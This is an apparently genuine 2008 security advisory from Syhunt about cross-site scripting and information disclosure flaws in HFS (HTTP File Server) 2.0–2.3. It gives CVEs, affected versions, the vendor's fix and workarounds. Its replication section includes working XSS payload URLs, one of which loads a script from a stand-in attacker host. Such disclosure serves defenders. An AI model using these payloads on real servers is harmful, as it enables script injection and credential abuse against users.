[VulnWatch] Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and Information Disclosure Vulnerabilities

From: Alec Storm (alec@private)
Date: Wed Jan 23 2008 - 09:48:38 PST


Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and
Information Disclosure Vulnerabilities

Advisory-ID: 200801161
Discovery Date: 1.16.2008
Release Date: 1.23.2008
Affected Applications: HFS 2.0 to and including 2.3(Beta Build
#174)
Non-Affected Applications: HFS 1.6a and earlier versions
Class: Cross-Site Scripting (XSS), Information Disclosure
Status: Patch available/Vendor informed
Vendor: Massimo Melina
Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net

The Common Vulnerabilities and Exposures (CVE) project has
assigned the following CVEs to these vulnerabilities:
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS
* CVE-2008-0410 - Information Disclosure Vulnerability

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Overview:
HFS is a very popular open source HTTP server designed for
easily sharing files. According to information on the official
website, the HTTP File Server software has been downloaded about
2 million times.

Description:
When a specific URL is visited, HFS displays a non-existent
account name in the response body. This non-existent account
name can be HTML code, allowing a remote attacker to use this
to launch XSS attacks.

Because the HTML code is also recognized by the web server as a
HFS HTML template, it is also possible to inject symbols to
force HFS to reveal details about the server (eg, current HFS
server version, build, connections, timestamp, uptime, current
outbound and inbound speed, and more). Technical details are
included below.

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Details (Replicating the issues):

1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities
Example 1 - Launching a basic XSS:
http://>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/

Example 2 - Injecting an external script (A mix of encoding and
javascript functions is used here to circumvent browser
URL limitations):
http://>var%20sChar=String%2efromCharCode(58)%3bdocument
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/

* This is specially dangerous if launched against Firefox. In
order to protect the password from prying eyes, Firefox entirely
hides what comes before the at (@) character and then only the
host name remains visible in the address bar. Firefox will also
resubmit the auth credentials everytime the host is visited
during the current browser session (unless new credentials are
supplied).

* User must be already logged in (via /~login) and the current
(root) path should not be password protected in the HFS-VFS
panel.

* If the host symbol is injected using this technique, HFS will
recognize it as a HTML template and return the data provided in
Host field of the request as part of the response body. The same
happens if the host symbol has been included (after
customization) in the current HFS HTML template.

Detection:
http://www.syhunt.com/advisories/hfshack.txt
See the "checkxss" command

Sandcat can also be used to identify this issue:
http://www.syhunt.com/sandcat

2) Information Disclosure

Example 1 - Injecting Symbols:
http://www.syhunt.com/advisories/hfshack.txt
The "ver" command will force HFS to reveal its version and build
The "symbols" command will force HFS to reveal additional
details about the server (such as connections, timestamp, uptime,
current outbound and inbound speed, and more).

* You can disable the "Send HFS identifier" option (which
enables the HFS banner) and remove all server identifier
symbols from the original HTML template, and still it will work.

Additional Considerations:
* An updated IE will not accept basic auth via URL. See:
http://support.microsoft.com/kb/834489 and the MS security
update 832894 if you wish to learn about this subject.

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Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c
which fixes these problems. The new version can be downloaded at
www.rejetto.com/hfs/download or via the "Check for news/updates"
option in the HFS menu.

As a workaround for the affected releases, users should remove
the %user% and %host% symbols from any HFS HTML templates.

Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.

HFS 2.3 Beta specifically is only affected if the option
"Accept any login for unprotected resources" is enabled. This
option, introduced in this version, is disabled by default.

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Credit:
Felipe Aragon and Alec Storm
Syhunt Security Research Team, www.syhunt.com

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Copyright  2008 Syhunt Security

Disclaimer:
The information in this advisory is provided "as is" without
warranty of any kind. Details provided are strictly for
educational and defensive purposes.

Syhunt is not liable for any damages caused by direct or
indirect use of the information provided by this advisory.



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